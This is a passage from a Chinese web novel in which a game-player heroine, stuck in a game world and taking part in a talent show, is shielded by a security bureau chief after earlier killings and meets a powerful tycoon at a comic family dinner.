实在是运气不好，抽到不太好的弹幕，也可以给观众解释一下原因，观众都能理解。
主持人A在发愣，刚才救场子的主持人B见导演组没有指示，就轻轻对诸华清点头。
诸华清道：“那个……朝朝的额头是受伤了吗，好像有一道疤痕？”
玩家呼吸回血的速度比较慢，于是她拜托伊尔莎去节目组医务室薅了点药，几个小时的功夫伤口便全部愈合。
到了直播的时间点，她早已经恢复满血，白皙无暇的脸上，那道“纹身”就很明显。
裴韫猛地回神，手一抖。
诸华清三人也顺势回头，紧张地看向朝晖，试图看出她在搞什么幺蛾子——
沉默。
诸华清意识到了什么，连忙猛拍朝晖大腿，低声道：“……小朝！你的额头是受伤了吗？”
其他人：“！？”
这可是直播啊？
朝晖竟然在发呆！
朝晖迷迷糊糊道：“啊？哦。那个是因为猫猫身上……”
裴韫以迅雷不及掩耳之势打断了她的话，露出一个微笑：“……咳，是的，我因为练舞的原因，经常会受伤。”
另外三人猛点头：“没错没错，裴韫她练舞很刻苦！”
朝晖只当在走剧情，接话道：“嗯，所以我就想着，疤痕是女人的勋章啊，我也要搞……”
“咳咳咳咳！！”
裴韫忙再次打断她，抹了把汗：“这个这个，没错，朝晖她在练习的时候，不小心磕到了额头，但是她没有因此而难过，反而是决定把这个伤口作为荣耀的痕迹保留下来……”
与朝晖的一场谈心后，裴韫就不打算跟杨家人“鱼死网破”了。
前两天，朝晖又说过“希望节目能好好进行下去”之类的话，所以此刻披露自己的伤口并非明智之举。
裴韫只觉得，自己这辈子还没有如此灵思敏捷的时刻。
好在主持人B不是个蠢货，等裴韫一讲完，她就赶紧继续cue流程：“大家真是非常刻苦啊！时间有限，接下来我们请徐燕妮选手来念一条弹幕吧……”
朝晖闻言，呆头呆脑地左右看了看，就又缩回了椅子内。
她正在系统界面的备忘录上敲字，准备下一个存档的计划呢！
时间很赶，其他人运气不错，抽到的都是一些“钱朵朵我爱你！”“妹妹加油你就是我的1pick！”之类没有营养的话。
轮到朝晖读弹幕时，在场的不在场的工作人员都紧张得半死。
截图出现，系统跳出了主线任务提示，于是朝晖只好乖乖看向面前的提示屏，张嘴棒读：
“朝朝宝贝妈妈爱你啊啊啊啊老公……？”
“噗——”
朝晖一脸呆萌地念出了这句话，似乎反应了一会儿才明白它的意思。
裴韫笑喷了，其他人全都一脸呆滞。
她们小心翼翼地看朝晖一眼，再看屏幕一眼，生怕一个不注意，她就冲上去开始暴力行为。
没想到朝晖只是挠挠头，自言自语道：“啊这，虽然之前在网上看到别人这么喊觉得她们很憨，但假如喊的人是我……还挺微妙的……”
大概就是，尴尬中又带着那么一丝丝的喜悦？
其他人松了口气，甚至不自觉地涌上一股感恩：没想到朝晖脾气还不错嘛！
在朝晖脚趾抓地的时候，本周目的直播顺利结束。
而一下播，她还没来得及干点什么，手机就响了。
其他人对于朝晖在禁用手机的节目组，不仅大咧咧地把手机随身携带，甚至还不设置静音的行为，均假装没看见。
摄影师甚至还在庆幸：还好直播的时候手机没响，挺好！
朝晖无视其他人，掏出手机，来电显示是她目前有可能不读档的唯一希望：姜瑶。
她精神一振，接通电话：“喂，姜姐？”
“小朝啊。”
姜瑶的声音显得很沧桑，也不知道是不是昨晚一夜没睡，“你直播结束了？”
看来姜局长是卡着她直播的点打来电话的。
“结束了，怎么啦？”
“你先到门口，我帮你请假了，接你来局里面谈。”
姜瑶也懒得跟节目组装客气了。
现在她跟节目组一提“朝晖”二字，对方的联络人员不知道为何就忙不迭道：“请假是吧，都行都行，这就给您开一份出入证明。”
姜瑶：“……好的。”
总之，朝晖翘掉了晚上的录制，坐上安全局的车子来到姜瑶的办公室。
姜局长也没跟她寒暄，开门见山道：“事情是这样的……”
昨
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天，她被朝晖吵醒之后，决定先探明朝晖到底干了些什么。
她悲哀地发现，自从把这个“颇有潜力”的家伙招揽进入安全局，这短短不到一个月的时间内，还没来得及指派对方干点什么呢，擦屁股的事情倒是一件接一件地停不下来。
最开始，朝晖只是有一些异能者们或多或少都会有的“小问题”，没过多久，她闯下的祸事竟然就已经这么可怕了……
姜局长不得不拿出自己在警察局方面的关系，给对方打了个电话，开门见山：“听说云端能源出事了，问题严重吗？”
对方回答：“说严重，倒也不是很严重……”
杨帆“失踪”，监控中留下的线索显示事件或与“污染物”有关。
当然，没有人会相信这是没有理智的污染物所进行的无心之举。
不少异能者都有办法利用污染物，警察局的调查也主要放在了这方面。
一时半会儿，警察局竟然没有发现吴昊父女的死讯！
朝晖之前所做的“障眼法”，的确成功地拖延了警察调查的时间，但若什么都不做，调查出真相也只是时间问题。
姜局长咬牙，跺脚，给另外一个人打了电话。
“所以真的不会查到我头上了？”朝晖惊讶地瞪大眼睛。
“……我说的那么多前置条件你是一个也没听进去吗！？”姜瑶怒。
朝晖委屈道：“我在听了，但听你讲话就像听课，左耳进右耳就出去了啊。”
“……你没在阴阳我对吧？”姜瑶说。
朝晖立刻道：“怎么会呢。总之，机智神勇的姜局长您，趁着警察还没发现更多线索，提前傍上了一位大佬。那位大佬听说了我的事迹，觉得我很有潜力，于是决定帮我处理掉后面的漏洞，让警察以‘吴昊杨帆内讧’结案咯？”
姜瑶挑了挑眉：“你总结得不是很全面吗？还有傍上大佬这种说法，在我面前也就罢了，出去了之后少用啊……”
能总结得这么全面，还不是因为这就是游戏玩家/升级流主角的一贯套路嘛！
主角抢夺某种资源/遇到某个反派，拿到资源但是得罪对方/受了重伤，被大佬认为很有潜力，大佬出手相助……升级之后，变得比大佬还厉害，帮助大佬，收获小弟小妹，再继续升级遇到新反派新大佬……
朝晖都能背下来了。
“不仅如此，警察还发现了更有趣的事情呢。”姜瑶说。
“唔？”
这事，其实也和朝晖有关。
此前她去抢矿场的时候，云端能源的一位陈总曾下令，把所有接触到污染物的普通员工全部“处理”掉。
这其实是挺常见的黑暗面，但云端能源因杨帆而陷入调查，行动受到限制，他们的对手不就闻风而来了吗？
痛打落水狗，大家都爱干。
这件事就这么被翻出来，还扯出不少其他的黑历史。在某些人的操控下，警察揪着类似的事情不放，云端能源也很头疼。
“他们还干了这么恶心的事情！？”朝晖勃然大怒。
姜瑶没想到她反应这么大，连忙安抚：“现在警方也在调查这件事呢，至于杨帆、杨勇他们，风头被盖过了，杨勇的后台又被你杀掉，已经不足为惧。”
“你现在要做的是一件更重要的事情，那位帮了你的大佬要见你一面——她可不像是余烬的脾气那么好，义务帮助你，不求回报……”
“你准备一下，今天晚上我就送你过去。”
45. 寰天娱乐（1）
姜瑶话音刚落，朝晖就收到了支线任务进度更新的提示。
【只手遮天的财阀：进度10/100。】
！？
没想到，她才刚刚进入综艺主线没多久，这个语焉不详的任务就已经有了如此进展。
最为浅显的猜测，莫过于这位“大佬”本身就是一位大财阀了。
玩家对财阀其实没什么感觉，因为她所生活的现实世界中并没有这玩意儿。
但财阀的所作所为，却带着令人讨厌的影子。
不过，这只是个游戏而已。
为了任务嘛，不丢人！
“那还等什么，快送我去吧！”朝晖道。
姜瑶看她如此淡定，倒也已经习惯了她的心大，派下属给她送来一套衣服。
去见大佬，不至于要穿上正装，可也不能是朝晖这套“校服”吧？
她刚刚直播穿着的是节目统一的练习生运动服，短袖长裤，胸口甚至还贴着名牌，看起来太不正式。
送来的这一套衣服，是白衬衫黑裤子，款式比较年轻化，符合朝晖的年龄。
果然人靠衣装，她换上这套剪裁得体、价格不低（重点）的衣服，从房间内走出来的那一刻，几位知道她德行的安全局员工都不禁有些双眼发直。
正及肩的短发显得干练，脖子修长、肩膀平直、后背挺拔，衣服勾勒出胸腰腿的曲线，非常好看。
好像明白，那位星宇娱乐的老板最开始为何要冒着巨大的风险签下她了。
就算知道她是个脑子不好使的闯祸精，看到脸之后，也忍不住想要立刻原谅她呢T.T
“还是要好好买衣服啊。”姜局长用看女儿的眼神盯着她看了几秒，“这套衣服送你了，回头记得拿去干洗，好好收起来知道吗？”
朝晖歪着脑袋：“？”
姜瑶：“……算了，到时候我让伊尔莎帮你处理衣服。好了，我们出发吧。”
这回车子开了挺久，足足有一个多小时。
洛川的城市面积还是相当大的，但那是包括了郊区、贫民区甚至外围其他区域在内。
真正的核心城市区，两个小时车程足够从头走到尾。
朝晖对这一切茫然无知，她在车上闲得无聊，索性开始骚扰副驾驶上的姜瑶：“我该怎么获得一辆车啊？”
姜瑶：“……攒钱，买车。”
“多少钱能买车？”
“要看你的需求吧。”
姜瑶打开工作平板，给她看卖车网站上的信息：“像你这样的年轻人，一般20万左右价位的就足够使用了。”
“20万？？”
玩家满脸不可置信，“商家怎么不去抢？？”
姜瑶：“……”
在洛川，20万买车已经算比较便宜的了好吗？
你自己说要买车，现在又嫌贵？
朝晖看了眼自己的余额，握着拳试探：“姐，你说我能不能请大佬送我一辆车啊？”
姜瑶：？
姜瑶无力道：“快到了，我跟你说说要注意的事情吧……”
一路沉默的司机小声建议：“也不用说吧，你说了她也不会听。”
姜瑶：“……有道理。”
朝晖没得到回应，不以为意，转而向窗外看去。
已近傍晚，夕阳透过钢筋水泥的丛林顽强地照进来，明亮而柔和。
隐约已能看见另外半边天幕上挂着的一轮浅浅月亮。
这座城市非常拥挤，哪怕高速路附近也全是高楼。但四周的建筑，不知何时开始变得越来越矮。
汽车在某个路口拐下去，沿着一条漂亮的、遍布绿化的道路，接近了一片庄园——
朝晖不知道该用什么词更加合适，但这片地区，看起来真的很像庄园。
周围是一片高高的白色围墙，一眼望不到边际，仔细看去，可见墙面雕刻着低调却华美的纹路；围墙外还有一圈黑色铁栅栏，同样精美，缠绕出花朵与鸟儿的图案。
围墙里，隐约可见内部建筑尖尖的屋顶——它们并不高，被围墙遮住大半，似乎参考了教堂的建筑风格，均是白墙、尖顶，圆型的窗户，透出均匀的、暖霭霭的光，像夕阳的颜色。
在满是现代简约风的城市，忽然出现这么一片建筑，不可谓不令人眼前一亮。
大门处警戒森严，汽车慢慢地排队通过关卡。
朝晖趴在窗边，看见大门旁的石碑上写着四个大字：
【白鸽电子】。
这是一家公司？
定睛细看，旁边的人行道上来来往往的人不少，都是行色匆匆的西装白领。
经过安检后，车子被放行。
一进入围墙内部，朝晖只觉豁然开朗。
好大！！
放眼望去，不论是左右还是前方，都根本看不见围墙的尽头！
建筑的分布相当稀疏，绿化极好，车行道、行人道分开，道路边种植着某种树木，在微冷的早春依旧透着浓绿。
“这是白鸽木，它的花朵像白鸽，代表着和平。再过一个多月花就开了，成簇如云，非常漂亮。”姜瑶一直在观察朝晖的表情，给她解释。
朝晖点点头，继续往旁边看。
车不能开入建筑物中间，而是沿着围墙向侧面开。
这的建筑风格统一，都是白墙圆窗暖黄灯的教堂风，偶有一些原木风格的小屋，没有一栋高楼，均为小型建筑。
它们的分布错落有致，似乎经由大师之手进行设计，辅以树木和石质的路面、路灯等饰物，观赏性极高。
这仿佛没有金属，目之可及的一切，都是柔和温暖的石头、木头、绿化。
员工们穿梭在建筑群当中，如同蚂蚁般有序地来往。
足足开了十几分钟，他们才离开这片建筑群，来到一片一望无际的广场——
“河？”朝晖怔怔道。
微白色石板铺就而成的广场，紧邻着一条清澈，微波荡漾的河流。
河边是星星点点的暖黄色路灯，复古风格的黑色铁质提灯，修女形状的石质雕塑屹立在它们旁边，为河中人引路。
“洛川。”姜瑶道，“这是洛川——白鸽电子建立在洛川上游，最美丽的一段。”
朝晖才知道，洛川真的是一条河，还是这么漂亮的河。
洛川市以洛川为名，这条河流对于这座城市，想必也有着不一样的意义。
什么样的公司，能把这么大一片园区放在洛川上游？
“电子这种产业不是有污染吗，能建在上游？”朝晖掏出自己微薄的相关知识发出疑问。
姜瑶笑道：“只是办公区在此而已，工厂区在其他地方。”
“……”
朝晖咂舌，大概这就是壕无人性吧。
司机沿着广场边的车行道继续行驶，夕阳之下的河景美若仙境。
直到他们来到了一片……宫殿。
这片建筑不是真的宫殿，毕竟朝晖已经看见不少上班族在里面进进出出了，它只是一栋设计得恍如宫殿的办公楼而已。
但……
“太漂亮了吧！！？”
朝晖流下口水，像刘姥姥进大观园那样扒着窗户，眼睛紧紧粘着那片宫殿看个不停。
原谅她是个高中语文学完就忘的菜鸡，千言万语化为两个字：卧槽！
世界上竟然还有这么好看的建筑吗！
什么云端能源大厦，弱
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爆了好吗？
虽然那栋一百多层的高科技大楼也挺帅的没错，但怎么比得上如此大一片的河边庄园、豪华宫殿来得爽啊！！
游戏美工，你是我的神！！
或许是出于某种种族天性（？），朝晖对这种大片土地完全没有抵抗力。
羡慕的泪水，顿时就从嘴角哗啦啦流了下来。
姜瑶：“……注意下表情管理啊喂！！”
不拘一格也不必露出如此表情吧？！
汽车驶入旁边的多层停车场，这停车场也做得花里胡哨，外墙全白、中间镂空、放着玻璃花幕，从天井下方可以乘坐电梯直达一楼，再从一楼的玻璃长廊行走，穿过一片茂密的树木花丛，抵达“宫殿”内部。
朝晖全程摆着一副痴汉脸，还时不时动手动脚、看能不能跟旁边的建筑物交互一下，拆点东西带回去，让姜局长面容僵硬。
倒是来接她们的一位穿着西装的温柔姐姐说：“小朝的性格和传闻中一样可爱呢。没关系的姜局长，让她玩吧！我带她过去就好，您忙的话可以先回去，或者去接待室休息片刻。”
姜瑶倒也不客气，点头：“我去接待室吧。”
一进接待室，朝晖顿时就不想走了。
这低调奢华的内部装潢、柔软的大沙发、桌上摆满的好吃水果零食……
404宿舍那简陋的粉红色装修顿时就不香了！
果然，资本主义会腐蚀人的心智！
姜瑶捂脸：“……”
温柔姐姐用骗小孩的语气：“……小朝啊，姐姐那边有更好吃的东西哦，随便吃的。”
“哦？那还等什么？咱们快出发吧！”朝晖双眼亮晶晶地。
姜瑶：……赶紧滚吧。
说起来，明明她最开始还有点紧张，现在却被朝晖闹得啼笑皆非，索性悠然自在地坐下来开始吃东西。
她们沿着华美的走廊走了一段，路上空无一人。
这应该是内部的走廊，外面的普通上班族进不来。
最终，二人停在一架朴素的电梯之前，屏幕上并不显示楼层，姐姐刷了卡之后，电梯就一路向上。
门开了。
里面是……一个家？
无怪乎朝晖这么想，因为电梯外面是一扇门，长得就很像游戏世界中最常见的那种家用密码门。
从密码门进去，里面就是宽敞的门廊和客厅。
客厅里有一组低调古典的雕木沙发，沙发上坐着个正在看古老纸质版报纸的短发中年女人，她对面的墙上还在投屏电视节目，似乎是新闻联播。
客厅左侧的餐厅摆着一张挺大的实木餐桌，桌上已经摆了几个菜盘，冒着腾腾热气。
客厅右侧似乎连接着阳台，那边摆着一排高脚凳，有三个人齐齐坐在上面，两女一男，均穿着西装，脊背挺得笔直。
“殷总。”温柔姐姐在门口鞠了个躬，并没有进入密码门内。
短发的中年女人抬起头，亲切地笑起来：“哎，小姚来了，正好饭快做好了，一起吃点吧？”
“不了殷总，我一会儿还有事，您就放我回去早点忙完回家休息吧！”温柔姐姐熟练地笑道。
“那行，我知道你们年轻人喜欢自由自在的，哈哈！我就不留你了，辛苦了，那你回去吧！”
中年女人很好说话的样子，对朝晖招招手：“小朝，来坐着，不用换拖鞋了！”
那三个杵在高脚凳上的西装年轻人都站起身，其中一个很年轻的女孩客客气气地对温柔姐姐说：“姚秘书辛苦了，把门带上就好！”
紧接着，她又靠近了朝晖，温柔笑道：“你好啊朝晖，我叫殷永宁，比你小一个月——过来这边坐吧，不要客气！”
46. 寰天娱乐（2）
朝晖没搭理npc，而是上上下下左左右右把这个新地方好好地打量了一遍。
比起外面堪比旅游景点的河景宫殿，这个“家”的内部装修，称得上是朴实无华。
而且，这原木餐桌，雕花木沙发，玄关和客厅的设置……
都跟她现实里的家挺像的。
她推开阳台门，看到了一片震撼人心的河景。
“唔，里面像，但我家外面就没这么奢华了。”朝晖嘀咕着，迎着微风深吸一口气，“哇——明明楼层不算高，但空气很清新，河水质量不错嘛。海景房美是美，就是味道不行，河景房也蛮好的。”
她身后，三个被她无视的西装年轻人面面相觑，天衣无缝的笑容均出现了一丝裂痕。
坐在沙发上的中年女人却浑不在意，而是站起身，缓步走到她边上，与她并肩趴在栏杆上：“小朝，朝晖？在吗，听得见嘛？”
朝晖扭头：“？”
这个女人面善，穿着朴素的居家装，简单的短发，不施粉黛，能看见眼角皱纹，看起来就像是普通的中年妇女。
可她眼睛很明亮，精气神饱满，给人以积极向上的感觉。
“你好啊。”朝晖说。
女人点点头，“你好，我叫殷一。”
“殷一？”
朝晖觉得这个npc的名字有点怪怪的，但还是老实道：“姐，你就是那个让我不用蹲局子的大佬呗？”
殷一眉毛一挑，“嗯？你是怎么得出这个结论的？”
朝晖纳闷，“啊？总不能是那三个在你面前跟鹌鹑似的小屁孩吧。”
后面的三个西装年轻人：……
因为在玩游戏的缘故，玩家压根不会控制音量，嗓门总是特别大。
他们三个把她的话听得清清楚楚。
“哈哈哈哈哈哈！！！”
殷一放声大笑，“那你不觉得我是助理吗？大佬可能在房间里等着呢。”
朝晖摇头：“你当我傻啊，你穿得跟我妈似的。不是大佬谁，敢在见重要客人的时候这么穿呢？”
“而且，刚才那个秘书姐姐明明都喊你殷总了。”
说到这儿，朝晖眉头一皱：“啧，系统，你们设计这种剧情，难不成是看不起我的智商？”
系统：……
它无言以对，唯有沉默泪千行。
殷一这下是真的笑得停不下来了，还对后面的年轻人说：“你们真以为她傻啊？我看她比你们仨还聪明呢。”
她这话说得怪不客气的，但朝晖竟然也不生气。
其实玩家脾气不差，npc时常对她指指点点，她压根没感觉，全视作场景动画。
只是，在遇到某些她看不惯的事情的时候，她会冲动一把。
这个规律，只要仔细去观察，很容易就能发现了。
朝晖看大佬npc没和她再搭话，就当是过完这段剧情了，自顾自地拿出手机，拍了几张漂亮照片，又插着兜进屋，像公园里闲逛的大妈一样，慢慢晃到桌边，探头去看：“三道凉菜，牛肉、花生米、黄瓜！嚯，这是要喝酒吗！”
“你想喝就喝点，不强求。”殷一在后面说，“咱们就是家宴哈。”
主人对客人说出家宴这种话，信了才有鬼。
但朝晖唰的一下，很快啊，一下子就相信了：“哎，平时我也就在家和老妈喝两口，在公司里我都说我酒精过敏。”
殷一又开始咯咯笑个不停：“这样啊，你还怪机灵的嘞，那你今天想不想喝呢？”
“游戏里还能喝酒？会不会影响我做任务啊？”朝晖嘀咕。
系统：“……不会的，但有几率触发醉酒debuff。”
这是常见设定，朝晖表示理解：“那就喝点白的！”
“爽快呀！”
“你们都听见了吧，今天陪小朝喝个开心，她随意，你们得表达心意才行。”殷一又看向那三个年轻人。
仨人：……
他们的眼神很悲愤：你究竟是谁的亲妈啊！！
这时候，厨房门被拉开了。
朝晖原以为，里面会是那种带着白色高帽子的厨师npc，又或者有钱家庭都会有的“煮饭阿姨”，没想到是个看着三十岁出头的中年美男子。
此美男子身材修长，眼角的细纹也挡不出他眉眼间的清俊，语气温柔、笑吟吟道：“哟，小朝已经来了——先去坐会儿吧，再过半个小时才开饭哦。”
“什么，竟然是男妈妈……！好像也不意外。”
朝晖回头，发现那三个年轻人果然长得和这美男子颇为相像。
其中一位气质沉稳的女性更像殷一，留着刚过肩的短卷发，看起来十分干练；另外的一男一女都更像美男子，年轻，都非常漂亮。
朝晖不禁感慨：“果然找个美男改善基因是一种伟大的道德——到了大佬这份上，美男的智商学历啥的应该也都很足够。”
三个年轻人：……
你要不要听听你在说些什么虎狼之词啊！！？？
中年美男子的微笑也好悬没挂住，连忙把菜端出来、拉上门钻进厨房里去了。
这时候就看得出，大佬不愧是大佬，竟然还能游刃有余地接话：“这么说，你已经看出来我们家庭的组成了？”
“差不多吧。”
朝晖点点头，指着她：“你是大佬，厨房里是你的丈夫……呃，倒也不一定，是孩子他爸，这是你大女儿，然后小儿子小女儿——应该是吧？”
好险，她记得有钱人家里，孩子他爸可不一定是老公来着。
殷一“噗”地一声又开始笑：“没错，那你家里呢？你有兄弟姐妹吗？”
朝晖摇头：“我是独生女。”
“爸妈身体都还好吧？”
“嗯，都还不错！”
朝晖说到这，忽然有点蔫蔫的，“短时间内我是见不到他们了。”
“怎么啦，是因为你要录综艺吗？”殷一坐回了沙发，拍拍旁边的位置，“我先坐着，年纪大了容易累——你要想回家看看，可以请假嘛，我可以派车送你回去的。”
玩家不知道游戏设定中自己的爹妈在哪，但她本人的爹妈么，总之是不在这个游戏世界里。
“主线要走十年啊，通关主线我才能拿工资，哎～～你不懂！”玩家深沉地叹了口气。
然后，她化悲愤为食欲，抄过桌上三盘热菜，把它们哐哐全部倒进嘴里，再抹抹嘴巴，大摇大摆来到沙发上，继续吃茶几上的零食。
仨年轻人：……
他们已经摆不出任何表情了，沉默是他们最后的尊严，只能面容呆滞地坐在高脚凳上当陪客。
殷一的笑容也不禁僵了一瞬：“咳，好吧，你饿吗？还想吃什么？小姑娘饭量很大呀！我估计家里做的不够你吃，待会儿让人多送点来。”
朝晖点头：“烧烤、海鲜、烤肉、炸串、寿司……”
“……”
没过多久，一大堆热腾腾的美食就送到了家里。
白鸽电子秘书部全部人马集体出动，到最近的、能找到的最好的餐厅内，买来了这些美食，流水一般送到殷总这儿，志在让朝晖吃到腻。
因为她不会饿也不会饱，所以吃腻了她就不吃了。
“啊～～真爽！”
吃爽
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的玩家开心地瘫在沙发上，脚都快翘到人家大佬腿上了。
大佬也尝了一串烧烤：“你这么能吃，是异能的原因吗？”
“不知道，是因为游戏里没有撑死的设定吧。”朝晖回答。
她的很多话都被屏蔽，所以殷一听得很仔细，能明白一点是一点。
对于绝大部分事情，朝晖的回答基本都是“不知道”。
谈及杨帆，她的说辞也和从姜瑶那里得知的没什么两样。
殷一已经查过了，杨勇杨帆杨茉三人过往所有经历，都清楚地摆在她的书桌上。
自然，朝晖本人的所有资料，详细到她曾在公开场合说过的、能被记录的每一句话，都已经被调查、收集，供殷一过目。
抛开这些不谈，朝晖本人对于这些事情似乎也称得上是……知无不言？
杀杨帆不杀杨茉，是因为杨茉未成年；她还毫不避讳地直言自己想杀杨勇，只是没能找到他家在哪。
“我会让杨勇和杨茉得到法律的审判、应有的惩罚，你就不要再去干这种事了，行不？”殷一问。
朝晖点头：“没问题——那个，如果杨勇进局子了，能不能把他的财产分我一点啊？”
殷一：“……你缺钱吗？”
“缺啊，我可太缺了！！”
朝晖顿时哭嚎起来，“垃圾游戏，干掉杨帆这么有钱的人型boss竟然一点钱都不掉！这合理吗？我现在都没工资，攒钱买个车都不知道要等到哪年！”
“……”
“咳咳，这样吧，我可以先资助你一些钱——等你以后赚到钱了，再还给我，怎么样？”殷一道。
朝晖的耳朵，顿时警惕地高高竖起：“什么？借钱？利息多少？不会是高利贷吧，资本家说的话我是一个字也不会信的！”
旁听的三年轻人、中年美男子：……
这孩子……实在是……
“哈哈哈哈！！”
没想到殷一不仅不恼火，语气甚至还颇为赞赏：“你是真的很清醒啊！没错，资本家的话是不能信的。不过呢，现在在你面前的我，身份也不仅是资本家了，你真的特别可爱，我很喜欢你。”
“单这么说，你可能不愿意相信我。我们来签一份合约吧，可以让安全局的姜局长请人给你看看条款，绝对不会坑你——我这次帮了你一个大忙，没错吧？”
朝晖点头：“没错。”
殷一笑吟吟道：“那么这份合约的内容就是，我花钱雇佣你，你就要帮我做事——也就是完成‘任务’。你完成任务后，我会给你金钱作为奖励，怎么样？”
“当然了，任务不是强制完成的，你可以选择要不要接受，不接受也没关系，没有任何硬性指标要求，只不过做任务可以获得金钱罢了，多做多得，你可以自己衡量。”
朝晖想也没想，立刻道：“成交。”
这不就是雇佣兵系统吗？
还有这种好事！！
哪怕已经有所了解，殷一还是被她这种时谨慎时不谨慎的态度给惊到：“不再仔细考虑一下？”
“不用啊，快拿出合约吧！”朝晖催促。
就算真有什么强制任务，也没关系啦。
难道做系统主线，不是一种强制任务吗？
玩家不愿意，它不还是得做吗！！
算了，有奖励就不错了！
玩家表示自己还是很好说话的。
系统：……
殷一：“……这个，合同还得拟定、审核、打印的，没那么快，先来喝点酒吧！我们这是家宴，放松放松，聊聊天！比如说，你在那个训练营过得怎么样啊？”
47. 寰天娱乐（3）
玩家诚实地告诉大佬，综艺录制一切都好，就是有点无聊；对经纪人暂时没什么不满意的；感觉娱乐公司都很黑暗，打算以后炸了公司；综艺结束后她打算自己出道，要组个五人团，现在还差两名人选。
“我看小红和那个谁不错。”她道。
殷一：“……小红和那个谁？”
“嗯啊。”
恐怕连上帝和佛祖都不会知道，小红和那个谁究竟是谁了。
于是殷一生硬地转移了话题：“想炸公司……嗯，好像不太容易办到吧。”
“还行，我再多练练技能，等综艺结束，再用余烬的异能去炸就好了。”朝晖喝白酒跟喝水一样，“毕竟不能影响综艺拍摄嘛。”
“……你是怕影响综艺录制，才等到结束后再去炸公司？”
“嗯。”
她俩聊着，另外四个人则生怕表情崩盘，都低着头，默不作声地吃东西，假装自己是个聋子。
殷一仔细品了品这句话的逻辑关系，继续问道：“你知道余烬的异能？还能‘借’来用？看来，你跟他的关系处得还行啊。”
“知道啊。不过，我看他对我的好感度还是负数来着，可能……关系不是很好？”
朝晖实在没法顶着“-30”好感度说他俩是好朋友。
不过她本来不打算攻略男主嘛，问题不大，“实在不行，到时候打晕他带过去就好。”
殷一是游戏内目前为止，唯一一个从不纠结她讲话逻辑的人——只是一直顺着她的话去说，也并不表现出任何赞同或者反对的态度。
所以玩家聊起来就觉得很顺畅，也没觉得哪里需要隐瞒了。
都是包庇过她的大佬了，再多包庇几件事，不也很正常吗？
“很多公司都会有潜规则现象，更黑暗的也不少见呢，只炸一个寰天娱乐又哪里够呢。”
殷一听得津津有味，笑意盈盈，甚至还在点火。
四个低头吃瓜的群众：！
我的亲娘啊，没见我们的冷汗都要滴到盘子里了吗！！
你们讲话这么直白真的好吗？
未料朝晖竟摇摇头，理直气壮道：“我又不是救世主，哪里炸得过来，要是天天就想着这种事，游戏还玩不玩了？”
“炸寰天是因为遇到了小红她们，身边的npc发生这种事情，当然不能忍。”
“要是以后其他公司再惹到我头上，哼哼，那就给我等着吧。”
这番话讲完，餐桌上静了片刻。
“说得好！！！”
殷一猛拍大腿，“做力所能及的事！哈哈哈，小朝，我真是越来越喜欢你了！”
“诶嘿，是吗，那记得给我投票啊～”朝晖挠头。
其他人：……
“所以，你其实可以复制别人的能力？很厉害啊～我倒是认识一个类似的异能者。”殷一继续套她的话。
不对，这已经不能叫套话了，因为朝晖实在诚实得令围观群众害怕……
不过，玩家虽然言行无忌，到底知道要避免不必要的麻烦。
想了想，她点头：“差不多吧。”
见她没有想继续说下去的意思，殷一也就不问了。
最终，“家宴”上的客人朝晖，一边“大家随意”，一边干倒了大佬的三个孩子、一个孩他爸，大佬本人则以“年纪大喝不动了”为由，幸运地逃过一劫。
说着“早点忙完下班回家”的姚秘书准时上门，把朝晖送到楼下，把她和姜局长一起客客气气送走。
独自干掉接近两斤白酒却毫无醉意的玩家，对着江景夜色迎风流泪：“世上最痛苦的事情不是996，而是996还没有人家工资高、工作环境好——”
她刚才都问了，这个白鸽电子办公园区内，高级职工以上的所有员工，工资都比绝大部分洛川娱乐圈人士要高。
放在现实中，也算是绝对的高薪人群！
而她，在现实中作为一个996码农，忙得头秃不说，拿着那么点儿工资，天天就挤在那狭窄阴暗的工位里对着屏幕敲代码……
到手的工资，扣掉杂七杂八的费用、给房东打工的租金、自己吃喝拉撒的必须花销，存下来的部分也不剩多少了……
若说世界上能有什么，让坚如钢铁的玩家落泪，这便是了。
姜瑶：“……我跟你说说警察局后续的事情吧。”
她没问朝晖跟大佬谈了些啥，而是说起云端能源。
作为洛川市数一数二的民用能源企业，殷一只是略为出手，它竟毫无抵抗之力。
殷一只放出了一句话，云端能源就陷入了无穷无尽的麻烦。
虽不至于一蹶不振，但也称得上焦头烂额，总之绝对不会再有空找朝晖的事儿。
杨勇和杨茉连夜被警察带走，这回进局子的变成了他们；
杨帆最终也只被判“意外死亡”，草草结案。
昏迷的卫文谨、杨帆秘书两人，经过简单的盘问就被放行，那个打晕他俩和清洁工阿姨的“神秘人”，则被定义为“恐怖袭击分子”，不了了之。
这就是财阀的力量吗？
“白鸽电子这么猛，政府不管吗？”朝晖纳闷。
姜瑶看了她一眼，苦笑：“厉害的可不是白鸽电子，而是‘白皇后’啊。”
“白鸽电子，不过是她名下无数产业中最具标志性的一个。电子行业近几十年来比较热门，仅次于生物工程，她们的重心也放在了这边。”
“？”
没见过世面的玩家不禁瞪大眼睛：“白皇后？”
“那是业内对她的尊称。”姜瑶道，“White Queen，白皇后，或称白女皇，是洛川的无冕之王——至少也是之一。说句难听的，任期不超过过十年的市长，只不过是傀儡罢了。”
洛川市长任期为五年，连任不可超过两期，也就是一位市长最多干十年。
而白皇后今年不到六十岁，成名却非常早，积攒而来的财富和权势，可比市长丰厚多了。
“原来如此，”朝晖道，“我这算是抱到了一条金大腿？”
“当然。”
姜瑶默了默，“小朝啊，以后你可要注意自己的言行举止……”
“都是无冕之王了，怎么还生了三个，不怕生孩子对身体不好吗？我看她保养得还挺年轻的嘞。”朝晖嘀咕。
大佬npc看起来，也就三十多岁四十岁的样子，但她的实际年龄却已经快六十了。
很好，希望那些大肚子秃头男可以多学学人家。
“……”
姜瑶沉默，姜瑶怒吼：“虽然不可妄议内闱，但是——她怎么可能自己生孩子！？”
！？
朝晖大惊失色：“什么，你们还搞代/yun？”
姜瑶：“……我好像忘了，你是不是没有读过书，缺乏一些常识？”
朝晖：……
她无话可说，因为玩家在游戏中的身份似乎真的是个文盲……
在姜局长的努力科普下，朝晖得知，游戏世界内的高科技可以无痛生孩子。
流程类似于人造子宫，生物学母亲需要提供卵子，父亲要提供精子，剩下的均可由科技完成。
不过，价格方面嘛，当然也很符合它高科技的特色，乃是平民们望尘莫及
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的高。
除此之外，想要使用这项技术，不仅得有钱，还得稍微有点关系。
朝晖这才知道，洛川市一直以来都以高新技术、娱乐产业闻名世界。
例如前面提到过的人造子宫技术，就是出自洛川的某公司科研所，全世界的有钱女人都来排队，没点儿关系你还排不上号嘞。
当女人能无痛生子的时候，大家都想生她十个八个。
最妙的是，这个生物学父亲，可操作的地方比生物学母亲多了去了——完全不用担心他们“借子上位”。
